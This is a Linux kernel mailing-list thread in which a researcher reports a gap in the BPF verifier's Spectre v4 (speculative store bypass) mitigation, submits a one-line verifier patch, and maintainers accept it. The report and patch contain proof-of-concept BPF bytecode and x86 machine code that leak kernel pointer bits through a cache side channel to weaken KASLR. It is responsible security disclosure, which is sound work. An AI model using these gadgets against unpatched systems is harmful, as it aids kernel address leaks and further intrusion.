[BUG] bpf: pointer-leak due to insufficient speculative store bypass mitigation

[BUG] bpf: pointer-leak due to insufficient speculative store bypass mitigation

[Luis Gerhorst]

[-- Attachment #1: Type: text/plain, Size: 4776 bytes --]

I noticed that 2039f26f3aca ("bpf: Fix leakage due to insufficient
speculative store bypass mitigation") does not insert an lfence when a
spilled pointer on the stack is overwritten with a scalar. If the
overwrite is speculatively bypassed, doesn't this allow the pointer to
be speculatively used like a scalar? Importantly, this includes non
constant-time operations such as branches [1, 2]. This would allow
unprivileged BPF programs to leak the numerical pointer value using, for
example, a cache side channel.

To test this behavior, the following bytecode can be integrated into the
assembly generated for libbpf-bootstrap's sockfilter example [3] right
before the bpf_ringbuf_submit():

         .loc    0 62 13 is_stmt 0               # sockfilter.bpf.c:62:13
.Ltmp71:
         #
         # Gadget for Pointer-as-Scalar Spec. Type Confusion on Stack
         # using SSB
         #
         # Relevant program state:
         # r1: skb->ifindex (scalar)
         # r6: ctx_ptr skb
         # r7: ringbuf_elem_ptr e
         # r10: frame pointer (fp)
         # fp-64: not initialized (type STACK_INVALID)
         #
         # Create Spec. Type Confusion:
         #
         r2 = 0                          # scalar for type confusion
         if r1 == 0 goto SCALAR_UNKNOWN  # branch based on user input
         r2 = 1
         # needed to prevent dead-code-elim. for secret-based branch
         #
SCALAR_UNKNOWN:
         *(u64 *)(r10 - 64) = r6         # fp[-64] = ptr
         # lfence added here because of ptr-spill to stack.
         #
         r9 = r10
         # r9: fp alias to encourage ssb
         #
         # Imagine dummy bpf_ringbuf_output() here to train alias
         # predictor for no r9/r10 dependency.
         #
         *(u64 *)(r10 - 64) = r2         # fp[-64] = scalar
         # Arch. overwrite ptr with scalar, SSB may happen here.
         #
         # No lfence added here because stack slot was not STACK_INVALID.
         # Possible mitigation: Also add an lfence if the slot contained
         # a pointer.
         #
         r8 = *(u64 *)(r9 - 64)
         # r8: arch. scalar, spec. ptr
         #
         # Leak ptr using cache side channel, weaken KASLR:
         #
         r8 &= 1                         # choose bit to leak
         if r8 == 0 goto SLOW            # secret-based branch
         #
         # Arch. dead code if r1 is 0, only executes spec.
         # iff ptr bit is 1.
         r2 = *(u32 *)(r7 + 20)          # encode bit in cache
SLOW:
         #
         # Gadget End
         #
         [...]
         .loc    0 63 2 is_stmt 1                # sockfilter.bpf.c:63:2
.Ltmp72:

On x86, this compiles to the following machine code when loaded by an
unprivileged process into Linux v6.1 (commit 51094a24b85e, pulled
2022-12-23):

               152:    xor    %esi,%esi
               154:    test   %rdi,%rdi
               157:    je     0x000000000000015e
               159:    mov    $0x1,%esi
               15e:    mov    %rbx,-0x40(%rbp)
               162:    lfence
               165:    mov    %rbp,%r15
               // dummy bpf_ringbuf_output skipped
               168:    mov    %rsi,-0x40(%rbp) // ssb
               16c:    mov    -0x40(%r15),%r14 // spec. load of ptr
               170:    and    $0x1,%r14
               174:    test   %r14,%r14 // spec. ptr-based branch
               177:    je     0x000000000000017d
               179:    mov    0x14(%r13),%esi // leak
               17d:    [...]

Creating a similar type-confusion using branches failed in all instances
I have tested. However, from 9183671af6db ("bpf: Fix leakage under
speculation on mispredicted branches"), it is not clear to me whether
this is intended or only a by-product of the chosen mitigation.

One might also use the same behavior to speculatively use an invalid
offset in place of a valid offset. However, because of 979d63d50c0c
("bpf: prevent out of bounds speculation on pointer arithmetic") the
resulting scalar-confusion can not be used to access uninitialized memory.

I have drafted a patch to mitigate this by also inserting an lfence if a
pointer-slot is overwritten with a scalar. The patch also includes a
more generic example that is not specific to sockfilter.bpf.c. I assume
the performance impact will be low if pointer-spills are rare. I will
send the patch in reply to this mail.

Prior to submission, this report was kindly reviewed by Henriette
Hofmeier and by anonymous staff members of FAU's Department of Computer
Science 4.

Best regards,
Luis

[1] https://gleissen.github.io/papers/spectre-semantics.pdf
[2] https://arxiv.org/pdf/2005.00294.pdf
[3] 
https://github.com/libbpf/libbpf-bootstrap/blob/599e9ac6ad0947838e18ef606076fe66345f498f/examples/c/sockfilter.bpf.c#L63

[-- Attachment #2: S/MIME Cryptographic Signature --]
[-- Type: application/pkcs7-signature, Size: 5976 bytes --]

[PATCH] bpf: Fix pointer-leak due to insufficient speculative store bypass mitigation

[Luis Gerhorst]

To mitigate Spectre v4, 2039f26f3aca ("bpf: Fix leakage due to
insufficient speculative store bypass mitigation") inserts lfence
instructions after 1) initializing a stack slot and 2) spilling a
pointer to the stack.

However, this does not cover cases where a stack slot is first
initialized with a pointer (subject to sanitization) but then
overwritten with a scalar (not subject to sanitization because the slot
was already initialized). In this case, the second write may be subject
to speculative store bypass (SSB) creating a speculative
pointer-as-scalar type confusion. This allows the program to
subsequently leak the numerical pointer value using, for example, a
branch-based cache side channel.

To fix this, also sanitize scalars if they write a stack slot that
previously contained a pointer. Assuming that pointer-spills are only
generated by LLVM on register-pressure, the performance impact on most
real-world BPF programs should be small.

The following unprivileged BPF bytecode drafts a minimal exploit and the
mitigation:

  [...]
  // r6 = 0 or 1 (skalar, unknown user input)
  // r7 = accessible ptr for side channel
  // r10 = frame pointer (fp), to be leaked
  //
  r9 = r10 # fp alias to encourage ssb
  *(u64 *)(r9 - 8) = r10 // fp[-8] = ptr, to be leaked
  // lfence added here because of pointer spill to stack.
  //
  // Ommitted: Dummy bpf_ringbuf_output() here to train alias predictor
  // for no r9-r10 dependency.
  //
  *(u64 *)(r10 - 8) = r6 // fp[-8] = scalar, overwrites ptr
  // 2039f26f3aca: no lfence added because stack slot was not STACK_INVALID,
  // store may be subject to SSB
  //
  // fix: also add an lfence when the slot contained a ptr
  //
  r8 = *(u64 *)(r9 - 8)
  // r8 = architecturally a scalar, speculatively a ptr
  //
  // leak ptr using branch-based cache side channel:
  r8 &= 1 // choose bit to leak
  if r8 == 0 goto SLOW // no mispredict
  // architecturally dead code if input r6 is 0,
  // only executes speculatively iff ptr bit is 1
  r8 = *(u64 *)(r7 + 0) # encode bit in cache (0: slow, 1: fast)
SLOW:
  [...]

After running this, the program can time the access to *(r7 + 0) to
determine whether the chosen pointer bit was 0 or 1. Repeat this 64
times to recover the whole address on amd64.

In summary, sanitization can only be skipped if one scalar is
overwritten with another scalar. Scalar-confusion due to speculative
store bypass can not lead to invalid accesses because the pointer bounds
deducted during verification are enforced using branchless logic. See
979d63d50c0c ("bpf: prevent out of bounds speculation on pointer
arithmetic") for details.

Do not make the mitigation depend on
!env->allow_{uninit_stack,ptr_leaks} because speculative leaks are
likely unexpected if these were enabled. For example, leaking the
address to a protected log file may be acceptable while disabling the
mitigation might unintentionally leak the address into the cached-state
of a map that is accessible to unprivileged processes.

Fixes: 2039f26f3aca ("bpf: Fix leakage due to insufficient speculative store bypass mitigation")
Signed-off-by: Luis Gerhorst <gerhorst@cs.fau.de>
Acked-by: Henriette Hofmeier <henriette.hofmeier@rub.de>
---
 kernel/bpf/verifier.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index a5255a0dcbb6..5e3aa4a75bd6 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -3287,7 +3287,8 @@ static int check_stack_write_fixed_off(struct bpf_verifier_env *env,
 		bool sanitize = reg && is_spillable_regtype(reg->type);
 
 		for (i = 0; i < size; i++) {
-			if (state->stack[spi].slot_type[i] == STACK_INVALID) {
+			u8 type = state->stack[spi].slot_type[i];
+			if (type != STACK_MISC && type != STACK_ZERO) {
 				sanitize = true;
 				break;
 			}
-- 
2.34.1

Re: [PATCH] bpf: Fix pointer-leak due to insufficient speculative store bypass mitigation

[Alexei Starovoitov]

On Mon, Jan 9, 2023 at 7:07 AM Luis Gerhorst <gerhorst@cs.fau.de> wrote:
>
> To mitigate Spectre v4, 2039f26f3aca ("bpf: Fix leakage due to
> insufficient speculative store bypass mitigation") inserts lfence
> instructions after 1) initializing a stack slot and 2) spilling a
> pointer to the stack.
>
> However, this does not cover cases where a stack slot is first
> initialized with a pointer (subject to sanitization) but then
> overwritten with a scalar (not subject to sanitization because the slot
> was already initialized). In this case, the second write may be subject
> to speculative store bypass (SSB) creating a speculative
> pointer-as-scalar type confusion. This allows the program to
> subsequently leak the numerical pointer value using, for example, a
> branch-based cache side channel.
>
> To fix this, also sanitize scalars if they write a stack slot that
> previously contained a pointer. Assuming that pointer-spills are only
> generated by LLVM on register-pressure, the performance impact on most
> real-world BPF programs should be small.
>
> The following unprivileged BPF bytecode drafts a minimal exploit and the
> mitigation:
>
>   [...]
>   // r6 = 0 or 1 (skalar, unknown user input)
>   // r7 = accessible ptr for side channel
>   // r10 = frame pointer (fp), to be leaked
>   //
>   r9 = r10 # fp alias to encourage ssb
>   *(u64 *)(r9 - 8) = r10 // fp[-8] = ptr, to be leaked
>   // lfence added here because of pointer spill to stack.
>   //
>   // Ommitted: Dummy bpf_ringbuf_output() here to train alias predictor
>   // for no r9-r10 dependency.
>   //
>   *(u64 *)(r10 - 8) = r6 // fp[-8] = scalar, overwrites ptr
>   // 2039f26f3aca: no lfence added because stack slot was not STACK_INVALID,
>   // store may be subject to SSB
>   //
>   // fix: also add an lfence when the slot contained a ptr
>   //
>   r8 = *(u64 *)(r9 - 8)
>   // r8 = architecturally a scalar, speculatively a ptr
>   //
>   // leak ptr using branch-based cache side channel:
>   r8 &= 1 // choose bit to leak
>   if r8 == 0 goto SLOW // no mispredict
>   // architecturally dead code if input r6 is 0,
>   // only executes speculatively iff ptr bit is 1
>   r8 = *(u64 *)(r7 + 0) # encode bit in cache (0: slow, 1: fast)
> SLOW:
>   [...]
>
> After running this, the program can time the access to *(r7 + 0) to
> determine whether the chosen pointer bit was 0 or 1. Repeat this 64
> times to recover the whole address on amd64.
>
> In summary, sanitization can only be skipped if one scalar is
> overwritten with another scalar. Scalar-confusion due to speculative
> store bypass can not lead to invalid accesses because the pointer bounds
> deducted during verification are enforced using branchless logic. See
> 979d63d50c0c ("bpf: prevent out of bounds speculation on pointer
> arithmetic") for details.
>
> Do not make the mitigation depend on
> !env->allow_{uninit_stack,ptr_leaks} because speculative leaks are
> likely unexpected if these were enabled. For example, leaking the
> address to a protected log file may be acceptable while disabling the
> mitigation might unintentionally leak the address into the cached-state
> of a map that is accessible to unprivileged processes.
>
> Fixes: 2039f26f3aca ("bpf: Fix leakage due to insufficient speculative store bypass mitigation")

All makes sense to me.
Daniel,

please take a look.

> Signed-off-by: Luis Gerhorst <gerhorst@cs.fau.de>
> Acked-by: Henriette Hofmeier <henriette.hofmeier@rub.de>
> ---
>  kernel/bpf/verifier.c | 3 ++-
>  1 file changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
> index a5255a0dcbb6..5e3aa4a75bd6 100644
> --- a/kernel/bpf/verifier.c
> +++ b/kernel/bpf/verifier.c
> @@ -3287,7 +3287,8 @@ static int check_stack_write_fixed_off(struct bpf_verifier_env *env,
>                 bool sanitize = reg && is_spillable_regtype(reg->type);
>
>                 for (i = 0; i < size; i++) {
> -                       if (state->stack[spi].slot_type[i] == STACK_INVALID) {
> +                       u8 type = state->stack[spi].slot_type[i];
> +                       if (type != STACK_MISC && type != STACK_ZERO) {
>                                 sanitize = true;
>                                 break;
>                         }
> --
> 2.34.1
>

Re: [PATCH] bpf: Fix pointer-leak due to insufficient speculative store bypass mitigation

[Daniel Borkmann]

On 1/9/23 4:05 PM, Luis Gerhorst wrote:
> To mitigate Spectre v4, 2039f26f3aca ("bpf: Fix leakage due to
> insufficient speculative store bypass mitigation") inserts lfence
> instructions after 1) initializing a stack slot and 2) spilling a
> pointer to the stack.
> 
> However, this does not cover cases where a stack slot is first
> initialized with a pointer (subject to sanitization) but then
> overwritten with a scalar (not subject to sanitization because the slot
> was already initialized). In this case, the second write may be subject
> to speculative store bypass (SSB) creating a speculative
> pointer-as-scalar type confusion. This allows the program to
> subsequently leak the numerical pointer value using, for example, a
> branch-based cache side channel.
> 
> To fix this, also sanitize scalars if they write a stack slot that
> previously contained a pointer. Assuming that pointer-spills are only
> generated by LLVM on register-pressure, the performance impact on most
> real-world BPF programs should be small.
> 
> The following unprivileged BPF bytecode drafts a minimal exploit and the
> mitigation:
> 
>    [...]
>    // r6 = 0 or 1 (skalar, unknown user input)
>    // r7 = accessible ptr for side channel
>    // r10 = frame pointer (fp), to be leaked
>    //
>    r9 = r10 # fp alias to encourage ssb
>    *(u64 *)(r9 - 8) = r10 // fp[-8] = ptr, to be leaked
>    // lfence added here because of pointer spill to stack.
>    //
>    // Ommitted: Dummy bpf_ringbuf_output() here to train alias predictor
>    // for no r9-r10 dependency.
>    //
>    *(u64 *)(r10 - 8) = r6 // fp[-8] = scalar, overwrites ptr
>    // 2039f26f3aca: no lfence added because stack slot was not STACK_INVALID,
>    // store may be subject to SSB
>    //
>    // fix: also add an lfence when the slot contained a ptr
>    //
>    r8 = *(u64 *)(r9 - 8)
>    // r8 = architecturally a scalar, speculatively a ptr
>    //
>    // leak ptr using branch-based cache side channel:
>    r8 &= 1 // choose bit to leak
>    if r8 == 0 goto SLOW // no mispredict
>    // architecturally dead code if input r6 is 0,
>    // only executes speculatively iff ptr bit is 1
>    r8 = *(u64 *)(r7 + 0) # encode bit in cache (0: slow, 1: fast)
> SLOW:
>    [...]
> 
> After running this, the program can time the access to *(r7 + 0) to
> determine whether the chosen pointer bit was 0 or 1. Repeat this 64
> times to recover the whole address on amd64.
> 
> In summary, sanitization can only be skipped if one scalar is
> overwritten with another scalar. Scalar-confusion due to speculative
> store bypass can not lead to invalid accesses because the pointer bounds
> deducted during verification are enforced using branchless logic. See
> 979d63d50c0c ("bpf: prevent out of bounds speculation on pointer
> arithmetic") for details.
> 
> Do not make the mitigation depend on
> !env->allow_{uninit_stack,ptr_leaks} because speculative leaks are
> likely unexpected if these were enabled. For example, leaking the
> address to a protected log file may be acceptable while disabling the
> mitigation might unintentionally leak the address into the cached-state
> of a map that is accessible to unprivileged processes.
> 
> Fixes: 2039f26f3aca ("bpf: Fix leakage due to insufficient speculative store bypass mitigation")
> Signed-off-by: Luis Gerhorst <gerhorst@cs.fau.de>
> Acked-by: Henriette Hofmeier <henriette.hofmeier@rub.de>

This looks good to me, thank you for the research on this topic! Applied
to bpf tree. (I've also added a link tag to your other mail.)

https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=e4f4db47794c9f474b184ee1418f42e6a07412b6

Thanks,
Daniel